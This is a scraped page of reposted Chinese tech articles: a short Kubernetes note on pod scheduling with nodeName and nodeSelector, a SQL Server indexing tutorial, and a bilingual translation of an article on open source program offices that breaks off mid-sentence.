污点是站在node的角度上的,比如果nodeA有一个污点,大家都别来,此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上,因为这种定向调度是强制性的,所以如果node节点不存在的话,也会向上面进行调度,只不过pod会运行失败; 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上,这种方式跳过了scheduler的调度逻辑,直接将pod调度到指定名称的节点上,配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上,它是通过k8s的label-selector机制实现的,也就是说,在创建pod之前,会由scheduler用matchNodeSelecto调度策略进行label标签的匹配,找出目标node,然后在将pod调度到目标node; 要实验NodeSelector,首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-29 09:08:28
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...方案只是一种静态的、标准的和理论上的分析比较,实际上,将在外,军令有所不从,SQLS几乎完全是“自主”的决定是否使用索引或使用哪一个索引! 这是怎么回事呢? 让我们先来算一道题:如果某表的一条记录在磁盘上占用1000字节(1K)的话,我们对其中10字节的一个字段建立索引,那么该记录对应的索引大小只有10字节(0.01K)。上篇说过,SQLS的最小空间分配单元是“页(Page)”,一个页面在磁盘上占用8K空间,所以一页只能存储8条“记录”,但可以存储800条“索引”。现在我们要从一个有8000条记录的表中检索符合某个条件的记录(有Where子句),如果没有索引的话,我们需要遍历8000条×1000字节/8K字节=1000个页面才能够找到结果。如果在检索字段上有上述索引的话,那么我们可以在8000条×10字节/8K字节=10个页面中就检索到满足条件的索引块,然后根据索引块上的指针逐一找到结果数据块,这样I/O访问量肯定要少得多。 然而有时用索引还不如不用索引快! 同上,如果要无条件检索全部记录(不用Where子句),不用索引的话,需要访问8000条×1000字节/8K字节=1000个页面;而使用索引的话,首先检索索引,访问8000条×10字节/8K字节=10个页面得到索引检索结果,再根据索引检索结果去对应数据页面,由于是检索全部数据,所以需要再访问8000条×1000字节/8K字节=1000个页面将全部数据读取出来,一共访问了1010个页面,这显然不如不用索引快。 SQLS内部有一套完整的数据索引优化技术,在上述情况下,SQLS会自动使用表扫描的方式检索数据而不会使用任何索引。那么SQLS是怎么知道什么时候用索引,什么时候不用索引的呢?因为SQLS除了维护数据信息外,还维护着数据统计信息! 四、统计信息 打开企业管理器,单击“Database”节点,右击Northwind数据库→单击“属性”→选择“Options”选项卡,观察“Settings”下的各项复选项,你发现了什么? 从Settings中我们可以看到,在数据库中,SQLS将默认的自动创建和更新统计信息,这些统计信息包括数据密度和分布信息,正是它们帮助SQLS确定最佳的查询策略:建立查询计划和是否使用索引以及使用什么样的索引。 在创建索引时,SQLS会创建分布数据页来存放有关索引的两种统计信息:分布表和密度表。查询优化器使用这些统计信息估算使用该索引进行查询的成本(Cost),并在此基础上判断该索引对某个特定查询是否有用。 随着表中的数据发生变化,SQLS自动定期更新这些统计信息。采样是在各个数据页上随机进行。从磁盘读取一个数据页后,该数据页上的所有行都被用来更新统计信息。统计信息更新的频率取决于字段或索引中的数据量以及数据更改量。比如,对于有一万条记录的表,当1000个索引键值发生改变时,该表的统计信息便可能需要更新,因为1000 个值在该表中占了10%,这是一个很大的比例。而对于有1千万条记录的表来说,1000个索引值发生更改的意义则可以忽略不计,因此统计信息就不会自动更新。 至于它们帮助SQLS建立查询计划的具体过程,限于篇幅,这里就省略了,请有兴趣的朋友们自己研究。 顺便多说一句,SQLS除了能自动记录统计信息之外,还可以记录服务器中所发生的其它活动的详细信息,包括I/O 统计信息、CPU 统计信息、锁定请求、T-SQL 和 RPC 统计信息、索引和表扫描、警告和引发的错误、数据库对象的创建/除去、连接/断开、存储过程操作、游标操作等等。这些信息的读取、设置请朋友们在SQLS联机帮助文档(SQL Server Books Online)中搜索字符串“Profiler”查找。 五、索引的人工维护 上面讲到,某些不合适的索引将影响到SQLS的性能,随着应用系统的运行,数据不断地发生变化,当数据变化达到某一个程度时将会影响到索引的使用。这时需要用户自己来维护索引。 随着数据行的插入、删除和数据页的分裂,有些索引页可能只包含几页数据,另外应用在执行大量I/O的时候,重建非聚聚集索引可以维护I/O的效率。重建索引实质上是重新组织B树。需要重建索引的情况有: 1) 数据和使用模式大幅度变化; 2)排序的顺序发生改变; 3)要进行大量插入操作或已经完成; 4)使用I/O查询的磁盘读次数比预料的要多; 5)由于大量数据修改,使得数据页和索引页没有充分使用而导致空间的使用超出估算; 6)dbcc检查出索引有问题。 六、索引的使用原则 接近尾声的时候,让我们再从另一个角度认识索引的两个重要属性----唯一性索引和复合性索引。 在设计表的时候,可以对字段值进行某些限制,比如可以对字段进行主键约束或唯一性约束。 主键约束是指定某个或多个字段不允许重复,用于防止表中出现两条完全相同的记录,这样的字段称为主键,每张表都可以建立并且只能建立一个主键,构成主键的字段不允许空值。例如职员表中“身份证号”字段或成绩表中“学号、课程编号”字段组合。 而唯一性约束与主键约束类似,区别只在于构成唯一性约束的字段允许出现空值。 建立在主键约束和唯一性约束上的索引,由于其字段值具有唯一性,于是我们将这种索引叫做“唯一性索引”,如果这个唯一性索引是由两个以上字段的组合建立的,那么它又叫“复合性索引”。 注意,唯一索引不是聚集索引,如果对一个字段建立了唯一索引,你仅仅不能向这个字段输入重复的值。并不妨碍你可以对其它类型的字段也建立一个唯一性索引,它们可以是聚集的,也可以是非聚集的。 唯一性索引保证在索引列中的全部数据是唯一的,不会包含冗余数据。如果表中已经有一个主键约束或者唯一性约束,那么当创建表或者修改表时,SQLS自动创建一个唯一性索引。但出于必须保证唯一性,那么应该创建主键约束或者唯一性键约束,而不是创建一个唯一性索引。当创建唯一性索引时,应该认真考虑这些规则:当在表中创建主键约束或者唯一性键约束时, SQLS钭自动创建一个唯一性索引;如果表中已经包含有数据,那么当创建索引时,SQLS检查表中已有数据的冗余性,如果发现冗余值,那么SQLS就取消该语句的执行,并且返回一个错误消息,确保表中的每一行数据都有一个唯一值。 复合索引就是一个索引创建在两个列或者多个列上。在搜索时,当两个或者多个列作为一个关键值时,最好在这些列上创建复合索引。当创建复合索引时,应该考虑这些规则:最多可以把16个列合并成一个单独的复合索引,构成复合索引的列的总长度不能超过900字节,也就是说复合列的长度不能太长;在复合索引中,所有的列必须来自同一个表中,不能跨表建立复合列;在复合索引中,列的排列顺序是非常重要的,原则上,应该首先定义最唯一的列,例如在(COL1,COL2)上的索引与在(COL2,COL1)上的索引是不相同的,因为两个索引的列的顺序不同;为了使查询优化器使用复合索引,查询语句中的WHERE子句必须参考复合索引中第一个列;当表中有多个关键列时,复合索引是非常有用的;使用复合索引可以提高查询性能,减少在一个表中所创建的索引数量。 综上所述,我们总结了如下索引使用原则: 1)逻辑主键使用唯一的成组索引,对系统键(作为存储过程)采用唯一的非成组索引,对任何外键列采用非成组索引。考虑数据库的空间有多大,表如何进行访问,还有这些访问是否主要用作读写。 2)不要索引memo/note 字段,不要索引大型字段(有很多字符),这样作会让索引占用太多的存储空间。 3)不要索引常用的小型表 4)一般不要为小型数据表设置过多的索引,假如它们经常有插入和删除操作就更别这样作了,SQLS对这些插入和删除操作提供的索引维护可能比扫描表空间消耗更多的时间。 七、大结局 查询是一个物理过程,表面上是SQLS在东跑西跑,其实真正大部分压马路的工作是由磁盘输入输出系统(I/O)完成,全表扫描需要从磁盘上读表的每一个数据页,如果有索引指向数据值,则I/O读几次磁盘就可以了。但是,在随时发生的增、删、改操作中,索引的存在会大大增加工作量,因此,合理的索引设计是建立在对各种查询的分析和预测上的,只有正确地使索引与程序结合起来,才能产生最佳的优化方案。 一般来说建立索引的思路是: (1)主键时常作为where子句的条件,应在表的主键列上建立聚聚集索引,尤其当经常用它作为连接的时候。 (2)有大量重复值且经常有范围查询和排序、分组发生的列,或者非常频繁地被访问的列,可考虑建立聚聚集索引。 (3)经常同时存取多列,且每列都含有重复值可考虑建立复合索引来覆盖一个或一组查询,并把查询引用最频繁的列作为前导列,如果可能尽量使关键查询形成覆盖查询。 (4)如果知道索引键的所有值都是唯一的,那么确保把索引定义成唯一索引。 (5)在一个经常做插入操作的表上建索引时,使用fillfactor(填充因子)来减少页分裂,同时提高并发度降低死锁的发生。如果在只读表上建索引,则可以把fillfactor置为100。 (6)在选择索引字段时,尽量选择那些小数据类型的字段作为索引键,以使每个索引页能够容纳尽可能多的索引键和指针,通过这种方式,可使一个查询必须遍历的索引页面降到最小。此外,尽可能地使用整数为键值,因为它能够提供比任何数据类型都快的访问速度。 SQLS是一个很复杂的系统,让索引以及查询背后的东西真相大白,可以帮助我们更为深刻的了解我们的系统。一句话,索引就象盐,少则无味多则咸。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_28052907/article/details/75194926。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-30 23:10:07
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...能融入至社区所支持的标准中。且在人才争夺战中,拥抱开源的公司也更受到开发人员的青睐。 “最后,开源项目是由你可能无法聘请的技术专家社区推动的”,他说,“当员工积极参与并于这些专家合作时,他们将能更好地深入这些顶级的实践,并将这些收获带回到你的组织之中。” “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。”— Suzanne Ambiel,VMware 开源营销和战略总监 “但是这一切终究不会白费--开发人员不应该把空闲时间用在磨练他们的技能上,因为你的公司很快就会在他们的努力中看到好处。” Degionni认为,OSPO(开源计划办公室)可以帮助公司实现这些目标,以及帮助确定贡献的优先级并确保合作的进行。除此之外,他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “开源团队的成员也可以成为开源技术的伟大内部传播者,并充当组织与更广泛社区之间的桥梁。”他补充道。 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中,近 53% 的拥有 OSPO的组织表示,由于拥有了OSPO,他们看到了更多创新,而近 43% 的组织表示,他们在外部开源项目的参与度上有所增加。 Part3更多OSPO的好处:商业优势 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示,为开源社区做出贡献,不仅有助于社区,还有助于为社区做出贡献的公司。 “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与”,他说,“这可以变成一个良性循环。” 此外,根据哈佛商学院的研究,为开源项目作出贡献的公司从使用开源的项目中获得的生产价值,是不参与开源项目公司的两倍。 Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说,世界上许多巨头公司都为开源作出了贡献。他还提到,开源贡献者的指数是作为公司是否有所作为的参考。 科技巨头占据了这份榜单的主导地位:谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示,但也有很多终端用户公司进入前 100 名,包括 Uber、BBC、Orange、Netflix 和 Square。 “我们一直知道,在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法,也是向客户提供开源福利的最佳方式”他说,“很高兴看到IT领导者们也认识到了这一点。” 为了和这些公司一起作出贡献,公司也需要有自己的开源策略,而拥有一个开源计划办公室则可以为其提供帮助。 “在使用开源软件方面,OPSO为公司提供了一个至关重要的能力中心”他说。 这与公司拥有安全运营中心的方式类似,他说。 “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与,这可以变成一个良性循环。” ——Tom Hickman,ThreatX 首席创新官 “如果你对安全团队进行相应投资,你通常是不会期望你的软件是安全的,也无法及时应对安全事件。”他说。 “同样的逻辑也适用于 OSPO,这就是为什么你会看到许多领先的公司,例如Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 根据Red Hat 2月分发布的一项调查,82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 受访者表示,当供应商支持开源社区时,就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 但收益的不仅仅是软件供应商们。 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查,57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 十年前,Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “对于我们来说,最大的工作是让不熟悉开源的员工学会并参与其中,成为优秀的社区成员”,他说,“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导,并确保我们没有与我们企业软件许可相冲突的开源项目合作。” 他说,OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 如今,他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 他说,参与开源系统对公司来说有着重大的经济效益。 “我们参与Knative是为了分享我们基础底层平台的开发,但作为业务的一部分,我们也拥有相关的增值服务。”他说,“通过共享该平台的研发,这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4如何入门开源 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中,有 63% 的公司表示,拥有OSPO 对其工程或产品团队的成功至关重要,高于上一年度该项研究数据的 54%。 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响,例如提高了代码质量。 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “首先,节流一下”,VMware 的 Ambiel 建议道。 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 之后,开发人员应该自己去了解一下。项目通常提供相关在线文档,一般包含贡献着指南、治理文档和未解决问题列表。 “对于那些你较感兴趣的项目中,你可以介绍一下自己----打个招呼”,她说。“然后转到Slack频道或者分发列表,询问他们需要帮助的地方。也许他们不需要帮助,一切完好;又或者他们也有可能使用新人来审查核验代码。” Ambiel 说,开源计划办公室不仅可以帮助制定为开源社区做出贡献的商业案例,还可以帮助公司以安全、可靠和健全的方式来做这件事。 “如果我为一家公司工作,并想为开源做出贡献,我不想意外披露、泄露或破坏任何专利,”她说。“而OSPO可以帮助您做出明智的选择。” 她说,OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Aqua Security的开发人员倡导者Anaïs Urlichs则认为,支持开源的承诺必须从高层开始。 她说,“公司在多数时候往往不重视对开源的投资,所以员工自然而然不被鼓励对此作出贡献。” 在这些情况下,员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽,这对于开源的发展来说是不可持续的。 “如果公司对开源项目依赖度高,那么将开源贡献纳入工程师的日程安排是很重要的,”她说。“一些公司定义了员工可以为开源建设的时间百分比,将其作为他们正常工作日的一部分。” The New Stack 是 Insight Partners 的全资子公司,Insight Partners 是本文提到的以下公司的投资者:Sysdig、Aqua Security。 中英对照版 How an OSPO Can Help Your Engineers Give Back to Open Source OSPO (开源项目办公室)是如何使工程师回馈开源的 When it comes to open source software, there’s a big and growing problem: most organizations are takers, not givers. 谈到开源软件,有一个较大且日益严重的问题:大多数组织都是索取者,而不是给予者。 There’s a classic XKCD comic that shows a giant structure representing modern digital infrastructure, dependent on a tiny component created by “some random person in Nebraska” who has been “thanklessly maintaining since 2003.” 经典漫画XKCD展示了一个代表现代数字基础设施的巨大结构,它依赖于“内布拉斯加州的某位人士”创建的微小组件,该组件“自2003年来一直都处于吃力不讨好的状态”。 Randall Monroe’s XKCD comic illustrates the open source dilemma: overreliance on a small number of volunteer project maintainers. Randall Monroe 的XKCD漫画展示了目前开源面临的窘境:过度依赖少数项目维护志愿者的志愿服务。 This would have been funny, except that this is exactly what happened when security vulnerabilities were discovered in Log4j last December. (开源项目由志愿者自发来维护,)这听起来像是一件很滑稽的事情,但事实上去年十二月在Log4j中发现的安全漏洞也确实存在着上述情况。 The Java-based logging tool is ubiquitous in enterprise publications. In the last three months, for example, Log4j has been downloaded more than 30 million times, according to a report by the enterprise software company Sonatype. 然而这个基于Java的日志记录工具已经在企业内部刊物中无处不在。例如根据软件公司Sonatype的一份报告显示,在过去的三个月里,Log4j的下载量就已经超过3000万次。 The tool has 440,000 lines of code, according to Synopsys‘ Black Duck Open Hub research tool, with nearly 24,000 contributions by nearly 200 developers. That’s a large dev team compared to other open source projects. But looking closer at the numbers, more than 70% of commits were by just five people. 根据Synopsys(新思)公司旗下的Black Duck Open Hub 研究工具显示。Log4j有着440,000行代码,由近200名开发人员贡献了将近24,000行代码。其实与其他开源项目相比,这是一个庞大的开发团队。但是如果关注数据的话,就会发现超过70%的提交是仅仅靠五个人来完成的。 Log4j’s home page lists about a dozen members on its project team. Most projects have far fewer developers working on them — and that presents a problem for the organizations that depend on them. Log4j的主页上展示了十几位项目团队的成员。而大多项目的开发人员要比其原本需要的少得多----这是高度依赖开发人员团队所呈现出来的问题。 “There is little incentive for anyone today to contribute to an existing open source project,” said Jeremy Stretch, distinguished engineer at NS1, a DNS network company. “There’s usually no direct compensation, and few accolades are offered — most users don’t even know who maintains the software that they use.” “如今的人没有什么动力去为现有的开源项目做贡献”,来自DNS网络公司NS1的杰出工程师Jeremy Strech说,“因为通常来说,这没有直接的物质回报,也很少提供荣誉----大多数用户甚至不知道他们所用的软件是谁维护的。” The most common motivation among open source contributors is to add a feature that they themselves want to see, he said. “Once this has been achieved, the contributor rarely sticks around.” 他说,开源贡献者们最常见的动机就是添加他们自己想要的功能。“一旦实现了这一点,他们几乎都不会留下来。” Meanwhile, as a project becomes more popular, the burden on the core team of maintainers keeps increasing. 与此同时,随着项目的逐渐流行,对于维护方面的核心团队来说,他们的负担也在不断增加。 “More users means more feature requests and more bug reports — but not more maintainers,” Stretch said. “What was once an enjoyable hobby can quickly become a tedious chore, and many maintainers understandably opt to simply abandon their projects altogether.” “更多的用户意味有着更多的功能需求和错误报告----但不是更多的维护人员”,Stretch说。“曾经令人愉快的爱好很快就会变成一项乏味的项目,所以很多维护人员选择干脆完全放弃他们的项目,这也是可以理解的。” Part1The Tragedy of the Commons The open source software ecosystem is a perfect example of the “tragedy of the commons.” 开源软件的生态系统,就是“公地悲剧”的一个完美例子。 And the tragedy is — when everyone uses, but no one contributes, that resource — whether it’s an overrun park or an open source project — eventually collapses from overuse and underinvestment. Everyone loves using free stuff, but everyone expects someone else to take care of it. 这个悲剧就是---当一种资源,无论是一个超限的公园还是一个开源项目,所有人都在使用而没有人贡献之时,最终都会因为过度使用和投入不足而崩溃坍塌。 This approach can save you money in the short term, but it can become a fatal flaw over time. Especially since open source software is everywhere, running everything. 这种方式可以在短期内为你节省资金,但随着时间的推移,它可能会变成项目里致命的缺陷。 Linux, for example, the open source operating system, runs on 96% of the world’s top 1 million servers, and 90% of all cloud infrastructure is on Linux. Not to mention that 85% of all smartphones in the world run Linux, in the form of the Android OS. 拿Linux来说,这个开源操作系统在全球前100万台服务器中运行率在96%以上,且这些服务器90%的云基础设施也都在Linux上。更不用说世界上85%的智能手机都运行着Linux,即Android操作系统。 Then there’s Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes — the list of ubiquitous open source projects goes on and on. 还有Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes--这些常见开源项目的列表还在逐渐增加着。 Without open source, much of today’s technical infrastructure would immediately grind to a halt. 如果没有开源,今天的大部分技术基础设施的建设也将会戛然而止。 “It is a real problem,” said Danil Mikhailov, executive director at Data.org, a nonprofit backed by the Mastercard Center for Inclusive Growth and The Rockefeller Foundation that promotes the use of data science to tackle society’s greatest challenges. “这是一个很现实的问题”,Data.org的执行董事Danil Mikhailov说,该组织是由万事达包容性发展中心和洛克菲勒基金会支持,旨在促进使用数据科学来应对当今社会所面临的巨大挑战的非营利性组织。 While nearly all organizations use open source software, only a minority contribute to those projects. Forty-two percent of participants in a survey released in September by The New Stack, Linux Foundation Research, and the TODO Group said tthey contribute at least sometimes to open source projects. 虽然几乎所有组织都在使用着开源软件,但只有少数组织为这些项目作出了贡献。The New Stack、Linux Foundation Research 和 TODO Group 在 9 月发布的一项调查中,42% 的参与者表示,他们至少有时会为开源项目做出贡献。 The same study showed that only 36% of organizations train their engineers to contribute to open source. 而同一项研究表明,只有36%的组织会培训他们的工程师为开源作出贡献。 Individual companies should support projects that they use the most and are critical to their success, Mikhailov said: “If you use, you contribute.” 个体公司应该支持贡献这些他们使用最多且对他们成功至关重要的项目,Mikhailov认为:“如果你使用开源,你就应该为他做出属于你自己的贡献。” Part2OSPO Benefits:Less Tech Debt,Better Recruiting Participating in open source communities — especially when guided by an in-house open source program office (OSPO) — can help ensure the health of projects critical to your organization’s success, improve those projects’ security, and allow your engineers to have more impact in the projects’ development road map. 参与开源社区——特别是在内部开源项目办公室(OSPO)的指导下——不仅可以保证对组织成功至关重要项目的健康发展,还可以提高项目安全性,同时可以允许工程师在项目发展规划中起到更大的影响。 Say, for example, a company uses an open source tool and modifies it a little to make it better. If that improvement isn’t contributed back to the community, then the official version of the open source project will start to diverge from what the company is using 例如,如果一家公司使用了开源工具,并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区,那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “You start to grow technical debt because when the original source changes and you’ve got a different version. Those differences grow rapidly, compounding daily. It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant,” said Suzanne Ambiel, director, open source marketing and strategy at VMware. “当原始代码来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示,“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “The technical debt gets bigger and bigger and it gets very expensive for a company to manage.” “如果技术负债越来越多,那么公司的管理成本则会非常昂贵”。 Support for open source activity can also be a recruiting tool. “It’s really a talent magnet,” said Ambiel. “It’s one of the things that new hires look for.” 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁,”Ambiel说,“这也是新员工所寻求的“。 Some engineering managers might worry that open source contributions will detract from core product development, she said. Their rationale, she added, might run along the lines of, “I only have so much talent, and so many hours, and I need them to only work on things where I can measure and see the return on investment.” 她还提到,一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到,他们的理由有可能是这样的:“我只有有限的才华与时间,且我需要这些只做我认为可以度量且看到投资回报的事情。” But that attitude, she said, is shortsighted. Supporting employees who contribute to open source communities can build skills and develop talent, she said. 但她说,这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工,可以从中培养技能与增长才华。 Loris Degionni, chief technology officer and founder at Sysdig, a cloud security vendor, echoed this notion: “Finding employees who contribute to open source is a gold mine,” said. 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点:“找出为开源做出贡献的员工无疑就找到一座金矿,”他说。 These employees are more capable of delivering features a company wants to use and merge them into community-supported standards, he said. And in a war for talent, companies that embrace open source are more attractive to developers. 他认为,这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中,拥抱开源的公司也更受到开发人员的青睐。 “Lastly, open source is driven by a community of technical experts you may not be able to hire,” he said. “When employees actively contribute and collaborate with these experts, they’ll be better informed of best practices and bring them back to your organization. “最后,开源项目是由你可能无法聘请的技术专家社区推动的”,他说,“当员工积极参与并于这些专家合作时,他们将能更好地深入这些最佳实践,并将这些收获带回到你的组织之中。” “You start to grow technical debt because when the original source changes and you’ve got a different version … It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant.” —Suzanne Ambiel, director, open source marketing and strategy, VMware “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。” — Suzanne Ambiel,VMware 开源营销和战略总监 “All of this should be rewarded — developers shouldn’t have to spend their free time honing their skills, as your company will quickly see benefits from their efforts.” “但是这一切终究不会白费--开发人员不应该把业余时间用在磨练他们的技能上,因为你的公司很快就会在他们的努力中看到好处。” An OSPO, Degionni suggested, can help achieve these goals, as well as help prioritize contributions and ensure collaboration. In addition, they can help provide governance that mirrors what companies would have for internally developed applications. Degionni认为,OSPO(开源计划办公室)可以帮助公司实现这些目标,以及帮助确定贡献的优先级并确保合作的进行。除此之外,他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “Members of the open source team are also in a position to be great internal evangelists for open source technologies, and act as bridges between the organization and the broader community,” he added. “开源团队的成员也可以成为开源技术的伟大内部布道师,并充当组织与更广泛社区之间的桥梁。”他补充道。 In the September survey from The New Stack, Linux Foundation Research and the TODO Group, nearly 53% of organizations with OSPOs said they saw more innovation as a result of having an OSPO, while almost 43% said they saw increased participation in external open source projects. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中,近 53% 的拥有 OSPO的组织表示,由于拥有了OSPO,他们看到了更多创新,而近 43% 的组织表示,他们在外部开源项目的参与度上有所增加。 Part3More OSPO Benefits:A Business Edge Contributing to open source communities doesn’t just help the communities, but the companies that contribute to them, said Tom Hickman, chief innovation officer at ThreatX, a cybersecurity firm. 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示,为开源社区做出贡献,不仅有助于社区,还有助于为社区做出贡献的公司。 “Growing the community of developers around a project helps the code base, and attracts more developers,” he said. “It can become a virtuous circle.” “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与”,他说,“这可以变成一个良性循环。” Also, companies that contribute to open source projects get twice the productive value from their use of open source than companies that don’t, according to research by Harvard Business School. 此外,根据哈佛商学院的研究,为开源项目作出贡献的公司从使用开源的项目中获得的生产价值,是不参与开源项目公司的两倍。 Many of the biggest companies in the world are contributing to open source, said Chris Aniszczyk, chief technology officer at Cloud Native Computing Foundation. He pointed to the Open Source Contributor Index as a reference for exactly just how much companies are doing. Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说,世界上许多巨头公司都为开源作出了贡献。他还提到,开源贡献者的指数是作为公司是否有所作为的参考。 The tech giants dominate the list: Google, Microsoft, Red Hat, Intel, IBM, Amazon, Facebook, VMware, GitHub and SAP are the top 10 contributors, in that order. But there are also a lot of end users on the top 100 list, said Aniszczyk, including Uber, the BBC, Orange, Netflix, and Square. 科技巨头占据了这份榜单的主导地位:谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示,但也有很多终端用户公司进入前 100 名,包括 Uber、BBC、Orange、Netflix 和 Square。 “We’ve always known working in upstream projects is not just the right thing to do —it’s the best approach to open source software development and the best way to deliver open source benefits to our customers,” he said. “It’s great to see that IT leaders recognize this as well.” “我们一直知道,在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法,也是向客户提供开源福利的最佳方式“他说,“很高兴看到IT领导者们也认识到了这一点。” To contribute alongside these giants, companies need to have their own open source strategies, and having an open source program office can help. 为了和这些公司一起作出贡献,公司也需要有自己的开源策略,而拥有一个开源项目办公室则可以为其提供帮助。 “OSPOs provide a critical center of competency in a company when it comes to utilizing open source software,” he said. “在使用开源软件方面,OPSO为公司提供了一个至关重要的能力中心”他说。 It’s similar to the way that companies have security operations centers, he said. 这与公司拥有安全运营中心的方式类似,他说。 “Growing the community of developers around a project helps the code base, and attracts more developers. It can become a virtuous circle.” —Tom Hickman, chief innovation officer, ThreatX “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与,这可以变成一个良性循环。” ——Tom Hickman,ThreatX 首席创新官 “If you don’t make the investment in a security team, you generally don’t expect your software to be secure or be able to respond to security incidents in a timely fashion,” he said. “如果你没有对安全团队进行相应投资,你通常是不会期望你的软件是安全的,也无法及时响应安全事件。”他说。 “The same logic applies to OSPOs and is why you see many leading companies out there such as Apple, Meta, Twitter, Goldman Sachs, Bloomberg, and Google all have OSPOs. They are ahead of the curve.” “同样的逻辑也适用于 OSPO,这就是为什么你会看到许多领先的公司,例如 Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” Support for open source activity within your organization can become a differentiator and marketing opportunity for software vendors. 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 According to a Red Hat survey released in February, 82% of IT leaders are more likely to select a vendor who contributes to the open source community. 根据Red Hat2月分发布的一项调查,82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 Respondents said that when vendors support open source communities they are more familiar with open source processes and are more effective if customers have technical challenges. 受访者表示,当供应商支持开源社区时,就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 But it’s not just software vendors who benefit. 但收益的不仅仅是软件供应商们。 According to September’s survey by The New Stack, Linux Foundation Research, and the TODO Group, 57% of organizations with OSPOs use them to further strategic relationships and build partnerships. 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查,57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 Mark Hinkle started an open source program office back when he worked at Citrix a decade ago. He pointed out how having an OSPO in-house benefited the company. 十年前,Mark Hinkle 在 Citrix 